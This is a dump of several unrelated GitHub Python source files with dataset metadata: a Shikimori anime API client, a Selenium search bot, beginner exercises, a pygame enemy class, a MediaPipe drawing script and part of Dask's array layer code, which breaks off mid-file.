@method_endpoint('/api/animes/:id')\n @exceptions_handler(ShikimoriAPIResponseError, fallback=None)\n async def get(self, anime_id: int):\n \"\"\"Returns info about certain anime.\n\n :param anime_id: Anime ID to get info\n :type anime_id: int\n\n :return: Anime info\n :rtype: Optional[Anime]\n \"\"\"\n response = await self._client.request(\n self._client.endpoints.anime(anime_id))\n\n return Utils.validate_response_data(cast(Dict[str, Any], response),\n data_model=Anime)\n\n @method_endpoint('/api/animes/:id/roles')\n @exceptions_handler(ShikimoriAPIResponseError, fallback=[])\n async def roles(self, anime_id: int):\n \"\"\"Returns roles of certain anime.\n\n :param anime_id: Anime ID to get roles\n :type anime_id: int\n\n :return: List of anime roles\n :rtype: List[Role]\n \"\"\"\n response = await self._client.request(\n self._client.endpoints.anime_roles(anime_id))\n\n return Utils.validate_response_data(cast(List[Dict[str, Any]],\n response),\n data_model=Role)\n\n @method_endpoint('/api/animes/:id/similar')\n @exceptions_handler(ShikimoriAPIResponseError, fallback=[])\n async def similar(self, anime_id: int):\n \"\"\"Returns list of similar animes for certain anime.\n\n :param anime_id: Anime ID to get similar animes\n :type anime_id: int\n\n :return: List of similar animes\n :rtype: List[AnimeInfo]\n \"\"\"\n response = await self._client.request(\n self._client.endpoints.similar_animes(anime_id))\n\n return Utils.validate_response_data(cast(List[Dict[str, Any]],\n response),\n data_model=AnimeInfo)\n\n @method_endpoint('/api/animes/:id/related')\n @exceptions_handler(ShikimoriAPIResponseError, fallback=[])\n async def related(self, anime_id: int):\n \"\"\"Returns list of relations of certain anime.\n\n :param anime_id: Anime ID to get relations\n :type anime_id: int\n\n :return: List of relations\n :rtype: List[Relation]\n \"\"\"\n response = await self._client.request(\n self._client.endpoints.anime_related_content(anime_id))\n\n return Utils.validate_response_data(cast(List[Dict[str, Any]],\n response),\n data_model=Relation)\n\n @method_endpoint('/api/animes/:id/screenshots')\n @exceptions_handler(ShikimoriAPIResponseError, fallback=[])\n async def screenshots(self, anime_id: int):\n \"\"\"Returns list of screenshot links of certain anime.\n\n :param anime_id: Anime ID to get screenshot links\n :type anime_id: int\n\n :return: List of screenshot links\n :rtype: List[Screenshot]\n \"\"\"\n response = await self._client.request(\n self._client.endpoints.anime_screenshots(anime_id))\n\n return Utils.validate_response_data(cast(List[Dict[str, Any]],\n response),\n data_model=Screenshot)\n\n @method_endpoint('/api/animes/:id/franchise')\n @exceptions_handler(ShikimoriAPIResponseError, fallback=None)\n async def franchise(self, anime_id: int):\n \"\"\"Returns franchise tree of certain anime.\n\n :param anime_id: Anime ID to get franchise tree\n :type anime_id: int\n\n :return: Franchise tree of certain anime\n :rtype: Optional[FranchiseTree]\n \"\"\"\n response = await self._client.request(\n self._client.endpoints.anime_franchise_tree(anime_id))\n\n return Utils.validate_response_data(cast(Dict[str, Any], response),\n data_model=FranchiseTree)\n\n @method_endpoint('/api/animes/:id/external_links')\n @exceptions_handler(ShikimoriAPIResponseError, fallback=[])\n async def external_links(self, anime_id: int):\n \"\"\"Returns list of external links of certain anime.\n\n :param anime_id: Anime ID to get external links\n :type anime_id: int\n\n :return: List of external links\n :rtype: List[Link]\n \"\"\"\n response = await self._client.request(\n self._client.endpoints.anime_external_links(anime_id))\n\n return Utils.validate_response_data(cast(List[Dict[str, Any]],\n response),\n data_model=Link)\n\n @method_endpoint('/api/animes/:id/topics')\n @exceptions_handler(ShikimoriAPIResponseError, fallback=[])\n async def topics(self,\n anime_id: int,\n page: Optional[int] = None,\n limit: Optional[int] = None,\n kind: Optional[AnimeTopicKind] = None,\n episode: Optional[int] = None):\n \"\"\"Returns anime's list of topics.\n\n :param anime_id: Anime ID to get topics\n :type anime_id: int\n\n :param page: Number of page\n :type page: Optional[int]\n\n :param limit: Number of results limit\n :type limit: Optional[int]\n\n :param kind: Kind of topic\n :type kind: Optional[AnimeTopicKind]\n\n :param episode: Number of anime episode\n :type episode: Optional[int]\n\n :return: List of topics\n :rtype: List[Topic]\n \"\"\"\n query_dict = Utils.create_query_dict(page=page,\n limit=limit,\n kind=kind,\n episode=episode)\n\n response = await self._client.request(\n self._client.endpoints.anime_topics(anime_id), query=query_dict)\n\n return Utils.validate_response_data(cast(List[Dict[str, Any]],\n response),\n data_model=Topic)\n\n @method_endpoint('/api/animes/:anime_id/videos')\n @exceptions_handler(ShikimoriAPIResponseError, fallback=[])\n async def videos(self, anime_id: int):\n \"\"\"Returns list of anime videos.\n\n :param anime_id: Anime ID to get videos\n :type anime_id: int\n\n :return: Anime videos list\n :rtype: List[Video]\n \"\"\"\n response = await self._client.request(\n self._client.endpoints.anime_videos(anime_id))\n\n return Utils.validate_response_data(cast(List[Dict[str, Any]],\n response),\n data_model=Video)\n\n @method_endpoint('/api/animes/:anime_id/videos')\n @exceptions_handler(ShikimoriAPIResponseError, fallback=None)\n async def create_video(self, anime_id: int, kind: VideoKind, name: str,\n url: str):\n \"\"\"Creates anime video.\n\n :param anime_id: Anime ID to create video\n :type anime_id: int\n\n :param kind: Kind of video\n :type kind: VideoKind\n\n :param name: Name of video\n :type name: str\n\n :param url: URL of video\n :type url: str\n\n :return: Created video info\n :rtype: Optional[Video]\n \"\"\"\n data_dict = Utils.create_data_dict(dict_name=DICT_NAME,\n kind=kind,\n name=name,\n url=url)\n\n response = await self._client.request(\n self._client.endpoints.anime_videos(anime_id),\n data=data_dict,\n request_type=RequestType.POST)\n\n return Utils.validate_response_data(cast(Dict[str, Any], response),\n data_model=Video)\n\n @method_endpoint('/api/animes/:anime_id/videos/:id')\n @exceptions_handler(ShikimoriAPIResponseError, fallback=False)\n async def delete_video(self, anime_id: int, video_id: int):\n \"\"\"Deletes anime video.\n\n :param anime_id: Anime ID to delete video\n :type anime_id: int\n\n :param video_id: Video ID\n :type video_id: str\n\n :return: Status of video deletion\n :rtype: bool\n \"\"\"\n response = await self._client.request(\n self._client.endpoints.anime_video(anime_id, video_id),\n request_type=RequestType.DELETE)\n\n return Utils.validate_response_code(cast(int, response),\n ResponseCode.SUCCESS)\n","repo_name":"SecondThundeR/shikithon","sub_path":"shikithon/resources/animes.py","file_name":"animes.py","file_ext":"py","file_size_in_byte":14269,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"99"} +{"seq_id":"105041732","text":"from selenium import webdriver\ndriver_path = \"/Users/alierenekinci/Desktop/Python/Machine Learning/Z/chromedriver\" \nimport time\n\noptions = webdriver.ChromeOptions()\noptions.add_argument('--ignore-certificate-errors')\noptions.add_argument(\"--test-type\")\n\nsite = 'https://yandex.com.tr/'\ntext = input('Çabuk ara:')\n\n\ndriver = webdriver.Chrome(executable_path=driver_path)\ndriver.get(site)\n#driver.maximize_window()\n\n# type text\ntext_area = driver.find_element_by_id('text')\ntext_area.send_keys(text)\n\n\n# click submit button\nsubmit_button = driver.find_elements_by_xpath('/html/body/div[1]/div[2]/div/table/tbody/tr[2]/td[2]/form/div[2]/button')[0]\nsubmit_button.click()\n","repo_name":"alierenekinci/YandexSearchBot","sub_path":"searchbot.py","file_name":"searchbot.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"74512456966","text":"from datetime import date\r\ndata = date.today().year\r\ntotmaior = 0\r\ntotmenor = 0\r\nfor c in range(1, 8):\r\n ano = int(input('Em que ano a {}° pessoa nasceu: '.format(c)))\r\n idade = data - ano\r\n if idade >= 18:\r\n totmaior += + 1\r\n else:\r\n totmenor += 1\r\nprint('Ao todo tivemos {} pessoas maiores de idade'.format(totmaior))\r\nprint('Ao todo tivemos {} pessoas menore de idade'.format(totmenor))\r\n","repo_name":"Maarceloo/Python-CursoEmVideo","sub_path":"ex054_grupo_de_maior_idade.py","file_name":"ex054_grupo_de_maior_idade.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"615786722","text":"import csv\r\nimport ipdb\r\n\r\n# assumes 'nfl_suspensions_data.csv' is in current working directory\r\nf = open('nfl-suspensions-data.csv' , 'r')\r\n# read file into a list\r\nnfl_suspensions = list(csv.reader(f))\r\n# remove the header row\r\nnfl_suspensions = nfl_suspensions[1:len(nfl_suspensions)]\r\n\r\n# count up the frequency for each value in the 'year' columns\r\nyears = {}\r\nfor element in nfl_suspensions:\r\n current_year = element[5]\r\n if current_year in years:\r\n years[current_year] += 1\r\n else:\r\n years[current_year] = 1\r\n\r\n# print(years)\r\n# a dictionary of key = year, and value = no. of suspensions in that year\r\n# {'2000': 1, '2001': 3, '2007': 17, '1997': 3, '1986': 1, '1946': 1, ... }\r\n\r\n# use list comprehensions and 'set' to get a set of the unique values in the team column.\r\nunique_teams = [x[1] for x in nfl_suspensions]\r\nunique_teams = set(unique_teams)\r\n# print(unique_teams)\r\n# {'ATL', 'SEA', 'CHI', 'SD', 'CIN', 'GB', 'CLE', 'JAX', 'MIN', 'NO', ... }\r\n\r\n# likewise for 'games' column\r\nunique_games = [x[2] for x in nfl_suspensions]\r\nunique_games = set(unique_games)\r\n# print(unique_games)\r\n# {'6', '20', '4', 'Indef.', '2', '16', '10', '3', '5', '1', '32', '8', '14', '36'}\r\n\r\n# create a 'Suspension' class to represent each NFL suspension in the dataset.\r\nclass Suspension:\r\n\r\n # def __init__(self, list): # don't shadow python default names like 'list'!\r\n def __init__(self, arglist):\r\n self.name = arglist[0]\r\n self.team = arglist[1]\r\n self.games = arglist[2]\r\n # self.year = arglist[5] # deprecated\r\n # use a try except block instead\r\n try:\r\n self.year = int(arglist[5])\r\n except Exception as exc:\r\n self.year = 0\r\n\r\n # def get_year(): # need to pass in the instance of the class!\r\n def get_year(self):\r\n return self.year\r\n\r\n# create a Suspension instance of the third row\r\nthird_suspension = Suspension(nfl_suspensions[2])\r\n\r\n# create a Suspension instance of the 23rd row\r\nmissing_year = Suspension(nfl_suspensions[22])\r\n# get the year\r\ntwenty_third_year = missing_year.get_year()\r\n# 0, because it was 'Indef.' which caused an Exception and got self.year set to 0\r\nprint(twenty_third_year)\r\n","repo_name":"dndln/dataquest-io","sub_path":"challenge-modules-classes-error-handling-list-comprehensions/challenge01.py","file_name":"challenge01.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"29961168859","text":"#User function Template for python3\nfrom collections import defaultdict\nimport math\nclass Solution:\n def dfs(self, index, x, N):\n if index >= N:\n if x == Solution.target:\n return 1\n return 0\n if (index, x) in Solution.mem:\n return Solution.mem[(index, x)]\n \n a = self.dfs(index+1, x^Solution.arr[index], N)\n b = self.dfs(index+1, x, N)\n \n Solution.mem[(index, x)] = a+b\n return a+b\n \n def subsetXOR(self, arr, N, target): \n # code here\n Solution.arr = arr\n Solution.mem = {}\n Solution.target = target\n return self.dfs(0, 0, N)\n\n\n#{ \n # Driver Code Starts\n#Initial Template for Python 3\n\n\n\nif __name__ == '__main__': \n t = int (input ())\n for _ in range (t):\n N,K = input().split()\n N = int(N)\n K = int(K)\n arr = input().split(' ')\n for itr in range(N):\n arr[itr] = int(arr[itr])\n ob = Solution()\n print(ob.subsetXOR(arr,N,K))\n# } Driver Code Ends","repo_name":"tanaypatil/LeetCode","sub_path":"Subsets with XOR value - GFG/subsets-with-xor-value.py","file_name":"subsets-with-xor-value.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"18369883564","text":"import pygame\nimport random \nimport time\nfrom pygame.sprite import Sprite\nfrom constantes import *\nfrom proyectiles import *\ndef get_surface(path,columnas,filas):\n lista = []\n surface_image = pygame.image.load(path)\n fotograma_ancho = int(surface_image.get_width()/columnas)\n fotograma_alto = int(surface_image.get_height()/filas)\n x = 0\n for columna in range(columnas):\n for fila in range(filas):\n x = columna * fotograma_ancho\n y = fila * fotograma_alto\n surface_fotograma = surface_image.subsurface((x, y, fotograma_ancho, fotograma_alto))\n lista.append(surface_fotograma)\n \n return lista\n\nclass Enemigo(pygame.sprite.Sprite):\n def __init__(self):\n super().__init__()\n \n #*==Imagen\n self.image_list = get_surface(\"img/NPC_126.png\", 1, 6)\n self.image_indice = 0\n self.image = self.image_list[self.image_indice]\n new_width = 30\n new_height = 30\n self.image = pygame.transform.scale(self.image, (new_width, new_height))\n #*==Rectangulo\n self.rect = self.image.get_rect()\n #*==Posicion==\n self.timer_descenso = 0\n self.rect.x = random.randrange(ANCHO_PANTALLA - self.rect.width)\n self.rect.y = random.randrange(-self.rect.height,-20) \n\n #*==Movimiento==\n self.velocidad_x = random.randrange(1,5)\n self.velocidad_y = random.randrange(1,5)\n #*==Proyectiles\n self.cooldown = 0\n self.cooldown_duration = 1000 \n \n \n def update(self):\n \n #*==Comprueba si es el momento de descender\n self.timer_descenso += 1\n if self.timer_descenso >= 200: \n self.rect.y += random.randrange(50,100) \n self.timer_descenso = 0 \n\n \n #*==Limita el margen inferior\n if self.rect.bottom > ALTO_PANTALLA:\n self.rect.bottom = ALTO_PANTALLA\n #*=Movimiento del sprite \n self.update_sprite()\n\n\n\n def update_sprite(self):\n\n self.image_indice += 1\n if self.image_indice >= len(self.image_list):\n self.image_indice = len(self.image_list) - 3\n self.image = self.image_list[self.image_indice]\n\n\nclass Enemigo2(Enemigo):\n def __init__(self,fire_rate):\n super().__init__()\n #*==Imagen\n self.image_list = get_surface(\"img/NPC_125.png\", 1, 6)\n self.image_indice = 0\n self.image = self.image_list[self.image_indice]\n #*==limite de tiempo entre disparos\n self.fire_rate = fire_rate\n #*==Tiempo del ultimo disparo\n self.last_shot_time = 0\n self.img_proyectil = pygame.image.load(\"img/proyectil_enemigo.png\")\n self.is_stopped = False\n self.stop_duration = 10 \n self.last_stop_time = pygame.time.get_ticks() \n \n \n def update(self,grupo_proyectiles_enemigos):\n #*==Actualiza el movimiento de los enemigos\n self.rect.x += self.velocidad_x\n\n #*==Comprueba si es el momento de descender\n self.timer_descenso += 1\n if self.timer_descenso >= 500: \n self.rect.y += random.randrange(50,100) \n self.timer_descenso = 0 \n\n #*==Limita los márgenes derecho e izquierdo\n if self.rect.right > ANCHO_PANTALLA:\n self.velocidad_x *= -1\n elif self.rect.left < 0:\n self.velocidad_x *= -1\n\n #*==Limita el margen inferior\n if self.rect.bottom > ALTO_PANTALLA:\n self.rect.bottom =SPAWN_ENEMIGO\n #*=Movimiento del sprite \n self.update_sprite()\n self.shoot(grupo_proyectiles_enemigos)\n \n def shoot(self,grupo_proyectiles_enemigos):\n #*==Disparos del player==\n current_time = pygame.time.get_ticks() #*==Tiempo actual del juego\n #*==verificar si la tecla de espacio está presionada y si ha pasado suficiente tiempo desde el último disparo\n if current_time - self.last_shot_time > self.fire_rate:\n #*== Crear una nueva instancia de la clase Bullet en la posición del jugador\n bullet = Bullet(self.rect.centerx, self.rect.top-5,10,self.img_proyectil)\n #*==Agrega la bala a la lista\n grupo_proyectiles_enemigos.add(bullet)\n #*==Actualizar el tiempo del último disparo al tiempo actual\n self.last_shot_time = current_time\n \n def update_sprite_2(self):\n\n self.image_indice += 1\n if self.image_indice >= len(self.image_list):\n self.image_indice = len(self.image_list) - 3\n self.image = self.image_list[self.image_indice]\n","repo_name":"JorgeLeoMoyano/labo_examen_2","sub_path":"enemigos.py","file_name":"enemigos.py","file_ext":"py","file_size_in_byte":4619,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"9881827973","text":"import cv2\nimport numpy as np\nimport mediapipe as mp\n\nmp_hands = mp.solutions.hands\n\nmp_drawing = mp.solutions.drawing_utils\nmp_drawing_styles = mp.solutions.drawing_styles\nmp_hands = mp.solutions.hands\n\n# For static images:\nIMAGE_FILES = []\nwith mp_hands.Hands(\n static_image_mode=True,\n max_num_hands=2,\n min_detection_confidence=0.5) as hands:\n for idx, file in enumerate(IMAGE_FILES):\n # Read an frame, flip it around y-axis for correct handedness output (see\n # above).\n frame = cv2.flip(cv2.imread(file), 1)\n # Convert the BGR frame to RGB before processing.\n results = hands.process(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))\n\n # Print handedness and draw hand landmarks on the frame.\n print('Handedness:', results.multi_handedness)\n if not results.multi_hand_landmarks:\n continue\n image_height, image_width, _ = frame.shape\n annotated_image = frame.copy()\n for hand_landmarks in results.multi_hand_landmarks:\n print('hand_landmarks:', hand_landmarks)\n print(\n f'Index finger tip coordinates: (',\n f'{hand_landmarks.landmark[mp_hands.HandLandmark.INDEX_FINGER_TIP].x * image_width}, '\n f'{hand_landmarks.landmark[mp_hands.HandLandmark.INDEX_FINGER_TIP].y * image_height})'\n )\n mp_drawing.draw_landmarks(\n annotated_image,\n hand_landmarks,\n mp_hands.HAND_CONNECTIONS,\n mp_drawing_styles.get_default_hand_landmarks_style(),\n mp_drawing_styles.get_default_hand_connections_style())\n cv2.imwrite(\n '/tmp/annotated_image' + str(idx) + '.png', cv2.flip(annotated_image, 1))\n # Draw hand world landmarks.\n if not results.multi_hand_world_landmarks:\n continue\n for hand_world_landmarks in results.multi_hand_world_landmarks:\n mp_drawing.plot_landmarks(\n hand_world_landmarks, mp_hands.HAND_CONNECTIONS, azimuth=5)\n\n# For webcam input:\ncapture = cv2.VideoCapture(0, cv2.CAP_DSHOW)\n\n# Colores para pintar\ncolorCeleste = (255,113,82)\ncolorAmarillo = (89,222,255)\ncolorRosa = (128,0,255)\ncolorVerde = (0,255,36)\ncolorLimpiarPantalla = (29,112,246) # Solo se usará para el cuadro superior de 'Limpiar Pantalla'\n\n# Grosor de línea recuadros superior izquierda (color a dibujar)\ngrosorCeleste = 6\ngrosorAmarillo = 2\ngrosorRosa = 2\ngrosorVerde = 2\n\n# Grosor de línea recuadros superior derecha (grosor del marcador para dibujar)\ngrosorPeque = 6\ngrosorMedio = 1\ngrosorGrande = 1\n\ngrosor = 3 # Grosor que tendrá el marcador\n\nx1 = None \ny1 = None \nimAux = None\n\nwith mp_hands.Hands(\n model_complexity=0,\n min_detection_confidence=0.5,\n min_tracking_confidence=0.5) as hands:\n\twhile capture.isOpened():\n\t\tsuccess, frame = capture.read()\n\t\tif not success:\n\t\t\tprint(\"Ignoring empty camera frame.\")\n\t\t\t# If loading a video, use 'break' instead of 'continue'.\n\t\t\tcontinue\n\n\t\t\"\"\"\n\t\t# Flip the frame horizontally for a selfie-view display.\n\t\tif cv2.waitKey(5) & 0xFF == 27:\n\t\t\tbreak\n\t\t\"\"\"\n\t\t#-------------------------------------------------------------------------------#\n\t\t\n\t\t#if ret==False: break\n\n\t\tframe = cv2.flip(frame,1)\n\t\tframeHSV = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\t\tif imAux is None: imAux = np.zeros(frame.shape,dtype=np.uint8)\n \n\t\t#-------------------------------------------------------------------------------#\n\t\n\t\t# To improve performance, optionally mark the frame as not writeable to\n\t\t# pass by reference. \n\t\tframe.flags.writeable = False\n\t\tframe = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n\t\tresults = hands.process(frame)\n \n\t\t# Draw the hand annotations on the frame.\n\t\tframe.flags.writeable = True\n\t\tframe = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)\n\t\tif results.multi_hand_landmarks:\n\t\t\tfor hand_landmarks in results.multi_hand_landmarks:\n\t\t\t\tmp_drawing.draw_landmarks(\n\t\t\t\t\tframe,\n\t\t\t\t\thand_landmarks,\n\t\t\t\t\tmp_hands.HAND_CONNECTIONS,\n\t\t\t\t\tmp_drawing_styles.get_default_hand_landmarks_style(),\n\t\t\t\t\tmp_drawing_styles.get_default_hand_connections_style())\n \n\t\t#------------------------ Sección Superior ------------------------------------------\n\t\t# Cuadrados dibujados en la parte superior izquierda (representan el color a dibujar)\n\t\tcv2.rectangle(frame,(0,0),(50,50),colorAmarillo,grosorAmarillo)\n\t\tcv2.rectangle(frame,(50,0),(100,50),colorRosa,grosorRosa)\n\t\tcv2.rectangle(frame,(100,0),(150,50),colorVerde,grosorVerde)\n\t\tcv2.rectangle(frame,(150,0),(200,50),colorCeleste,grosorCeleste)\n\n\t\t# Rectángulo superior central, que nos ayudará a limpiar la pantalla\n\t\tcv2.rectangle(frame,(300,0),(400,50),colorLimpiarPantalla,1)\n\t\tcv2.putText(frame,'Limpiar',(320,20),6,0.6,colorLimpiarPantalla,1,cv2.LINE_AA)\n\t\tcv2.putText(frame,'pantalla',(320,40),6,0.6,colorLimpiarPantalla,1,cv2.LINE_AA)\n\n\t\t# Cuadrados dibujados en la parte superior derecha (grosor del marcador para dibujar)\n\t\tcv2.rectangle(frame,(490,0),(540,50),(0,0,0),grosorPeque)\n\t\tcv2.circle(frame,(515,25),3,(0,0,0),-1)\n\t\tcv2.rectangle(frame,(540,0),(590,50),(0,0,0),grosorMedio)\n\t\tcv2.circle(frame,(565,25),7,(0,0,0),-1)\n\t\tcv2.rectangle(frame,(590,0),(640,50),(0,0,0),grosorGrande)\n\t\tcv2.circle(frame,(615,25),11,(0,0,0),-1)\n\t\t#-----------------------------------------------------------------------------------\n\t\t\"\"\"\n\t\tfor c in cnts:\n\t\t\tarea = cv2.contourArea(c)\n\t\t\tif area > 1000:\n\t\t\t\tx,y2,w,h = cv2.boundingRect(c)\n\t\t\t\tx2 = x + w//2\n\t\t\t\t\n\t\t\t\tif x1 is not None:\n\t\t\t\t\tif 0 < x2 < 50 and 0 < y2 < 50:\n\t\t\t\t\t\tcolor = colorAmarillo # Color del lápiz/marcador virtual\n\t\t\t\t\t\tgrosorAmarillo = 6\n\t\t\t\t\t\tgrosorRosa = 2\n\t\t\t\t\t\tgrosorVerde = 2\n\t\t\t\t\t\tgrosorCeleste = 2\n\t\t\t\t\tif 50 < x2 < 100 and 0 < y2 < 50:\n\t\t\t\t\t\tcolor = colorRosa # Color del lápiz/marcador virtual\n\t\t\t\t\t\tgrosorAmarillo = 2\n\t\t\t\t\t\tgrosorRosa = 6\n\t\t\t\t\t\tgrosorVerde = 2\n\t\t\t\t\t\tgrosorCeleste = 2\n\t\t\t\t\tif 100 < x2 < 150 and 0 < y2 < 50:\n\t\t\t\t\t\tcolor = colorVerde # Color del lápiz/marcador virtual\n\t\t\t\t\t\tgrosorAmarillo = 2\n\t\t\t\t\t\tgrosorRosa = 2\n\t\t\t\t\t\tgrosorVerde = 6\n\t\t\t\t\t\tgrosorCeleste = 2\n\t\t\t\t\tif 150 < x2 < 200 and 0 < y2 < 50:\n\t\t\t\t\t\tcolor = colorCeleste # Color del lápiz/marcador virtual\n\t\t\t\t\t\tgrosorAmarillo = 2\n\t\t\t\t\t\tgrosorRosa = 2\n\t\t\t\t\t\tgrosorVerde = 2\n\t\t\t\t\t\tgrosorCeleste = 6\n\t\t\t\t\tif 490 < x2 < 540 and 0 < y2 < 50:\n\t\t\t\t\t\tgrosor = 3 # Grosor del lápiz/marcador virtual\n\t\t\t\t\t\tgrosorPeque = 6\n\t\t\t\t\t\tgrosorMedio = 1\n\t\t\t\t\t\tgrosorGrande = 1\n\t\t\t\t\tif 540 < x2 < 590 and 0 < y2 < 50:\n\t\t\t\t\t\tgrosor = 7 # Grosor del lápiz/marcador virtual\n\t\t\t\t\t\tgrosorPeque = 1\n\t\t\t\t\t\tgrosorMedio = 6\n\t\t\t\t\t\tgrosorGrande = 1\n\t\t\t\t\tif 590 < x2 < 640 and 0 < y2 < 50:\n\t\t\t\t\t\tgrosor = 11 # Grosor del lápiz/marcador virtual\n\t\t\t\t\t\tgrosorPeque = 1\n\t\t\t\t\t\tgrosorMedio = 1\n\t\t\t\t\t\tgrosorGrande = 6\n\t\t\t\t\tif 300 < x2 < 400 and 0 < y2 < 50:\n\t\t\t\t\t\tcv2.rectangle(frame,(300,0),(400,50),colorLimpiarPantalla,2)\n\t\t\t\t\t\tcv2.putText(frame,'Limpiar',(320,20),6,0.6,colorLimpiarPantalla,2,cv2.LINE_AA)\n\t\t\t\t\t\tcv2.putText(frame,'pantalla',(320,40),6,0.6,colorLimpiarPantalla,2,cv2.LINE_AA)\n\t\t\t\t\t\timAux = np.zeros(frame.shape,dtype=np.uint8)\n\t\t\t\t\tif 0 < y2 < 60 or 0 < y1 < 60 :\n\t\t\t\t\t\timAux = imAux\n\t\t\t\t\telse:\n\t\t\t\t\t\timAux = cv2.line(imAux,(x1,y1),(x2,y2),color,grosor)\n\t\t\t\tcv2.circle(frame,(x2,y2),grosor,color,3)\n\t\t\t\tx1 = x2\n\t\t\t\ty1 = y2\n\t\t\telse:\n\t\t\t\tx1, y1 = None, None\n\t\t\"\"\"\n\t\t# For webcam input\n\t\timAuxGray = cv2.cvtColor(imAux,cv2.COLOR_BGR2GRAY)\n\t\t_, th = cv2.threshold(imAuxGray,10,255,cv2.THRESH_BINARY)\n\t\tthInv = cv2.bitwise_not(th)\n\t\tframe = cv2.bitwise_and(frame,frame,mask=thInv)\n\t\tframe = cv2.add(frame,imAux)\n\t\t\n\t\t#cv2.imshow('imAux',imAux)\n\t\t#cv2.imshow('MediaPipe Hands', cv2.flip(frame, 1))\n\t\tcv2.imshow('frame', frame)\n\t\t\n\t\tk = cv2.waitKey(1)\n\t\tif k == 27:\n\t\t\tbreak\n\ncapture.release()\ncv2.destroyAllWindows()","repo_name":"Abrahamk12/Proyecto_Cultura","sub_path":"Proyecto.py","file_name":"Proyecto.py","file_ext":"py","file_size_in_byte":7589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"29260337808","text":"from __future__ import annotations\n\nimport functools\nimport math\nimport operator\nfrom collections import defaultdict\nfrom collections.abc import Callable\nfrom itertools import product\nfrom typing import Any\n\nimport tlz as toolz\nfrom tlz.curried import map\n\nfrom dask.base import tokenize\nfrom dask.blockwise import Blockwise, BlockwiseDep, BlockwiseDepDict, blockwise_token\nfrom dask.core import flatten\nfrom dask.highlevelgraph import Layer\nfrom dask.utils import apply, cached_cumsum, concrete, insert\n\n#\n##\n### General Utilities\n##\n#\n\n\nclass CallableLazyImport:\n \"\"\"Function Wrapper for Lazy Importing.\n\n This Class should only be used when materializing a graph\n on a distributed scheduler.\n \"\"\"\n\n def __init__(self, function_path):\n self.function_path = function_path\n\n def __call__(self, *args, **kwargs):\n from distributed.utils import import_term\n\n return import_term(self.function_path)(*args, **kwargs)\n\n\n#\n##\n### Array Layers & Utilities\n##\n#\n\n\nclass ArrayBlockwiseDep(BlockwiseDep):\n \"\"\"\n Blockwise dep for array-likes, which only needs chunking\n information to compute its data.\n \"\"\"\n\n chunks: tuple[tuple[int, ...], ...]\n numblocks: tuple[int, ...]\n produces_tasks: bool = False\n\n def __init__(self, chunks: tuple[tuple[int, ...], ...]):\n self.chunks = chunks\n self.numblocks = tuple(len(chunk) for chunk in chunks)\n self.produces_tasks = False\n\n def __getitem__(self, idx: tuple[int, ...]):\n raise NotImplementedError(\"Subclasses must implement __getitem__\")\n\n\nclass ArrayChunkShapeDep(ArrayBlockwiseDep):\n \"\"\"Produce chunk shapes given a chunk index\"\"\"\n\n def __getitem__(self, idx: tuple[int, ...]):\n return tuple(chunk[i] for i, chunk in zip(idx, self.chunks))\n\n\nclass ArraySliceDep(ArrayBlockwiseDep):\n \"\"\"Produce slice(s) into the full-sized array given a chunk index\"\"\"\n\n starts: tuple[tuple[int, ...], ...]\n\n def __init__(self, chunks: tuple[tuple[int, ...], ...]):\n super().__init__(chunks)\n self.starts = tuple(cached_cumsum(c, initial_zero=True) for c in chunks)\n\n def __getitem__(self, idx: tuple):\n loc = tuple((start[i], start[i + 1]) for i, start in zip(idx, self.starts))\n return tuple(slice(*s, None) for s in loc)\n\n\nclass ArrayOverlapLayer(Layer):\n \"\"\"Simple HighLevelGraph array overlap layer.\n\n Lazily computed High-level graph layer for a array overlap operations.\n\n Parameters\n ----------\n name : str\n Name of new output overlap array.\n array : Dask array\n axes: Mapping\n Axes dictionary indicating overlap in each dimension,\n e.g. ``{'0': 1, '1': 1}``\n \"\"\"\n\n def __init__(\n self,\n name,\n axes,\n chunks,\n numblocks,\n token,\n ):\n super().__init__()\n self.name = name\n self.axes = axes\n self.chunks = chunks\n self.numblocks = numblocks\n self.token = token\n self._cached_keys = None\n\n def __repr__(self):\n return f\"ArrayOverlapLayer>> _expand_keys_around_center(('x', 2, 3), dims=[5, 5], name='y', axes={0: 1, 1: 1}) # noqa: E501 # doctest: +NORMALIZE_WHITESPACE\n [[('y', 1.1, 2.1), ('y', 1.1, 3), ('y', 1.1, 3.9)],\n [('y', 2, 2.1), ('y', 2, 3), ('y', 2, 3.9)],\n [('y', 2.9, 2.1), ('y', 2.9, 3), ('y', 2.9, 3.9)]]\n\n >>> _expand_keys_around_center(('x', 0, 4), dims=[5, 5], name='y', axes={0: 1, 1: 1}) # noqa: E501 # doctest: +NORMALIZE_WHITESPACE\n [[('y', 0, 3.1), ('y', 0, 4)],\n [('y', 0.9, 3.1), ('y', 0.9, 4)]]\n \"\"\"\n\n def inds(i, ind):\n rv = []\n if ind - 0.9 > 0:\n rv.append(ind - 0.9)\n rv.append(ind)\n if ind + 0.9 < dims[i] - 1:\n rv.append(ind + 0.9)\n return rv\n\n shape = []\n for i, ind in enumerate(k[1:]):\n num = 1\n if ind > 0:\n num += 1\n if ind < dims[i] - 1:\n num += 1\n shape.append(num)\n\n args = [\n inds(i, ind) if any((axes.get(i, 0),)) else [ind] for i, ind in enumerate(k[1:])\n ]\n if name is not None:\n args = [[name]] + args\n seq = list(product(*args))\n shape2 = [d if any((axes.get(i, 0),)) else 1 for i, d in enumerate(shape)]\n result = reshapelist(shape2, seq)\n return result\n\n\ndef reshapelist(shape, seq):\n \"\"\"Reshape iterator to nested shape\n\n >>> reshapelist((2, 3), range(6))\n [[0, 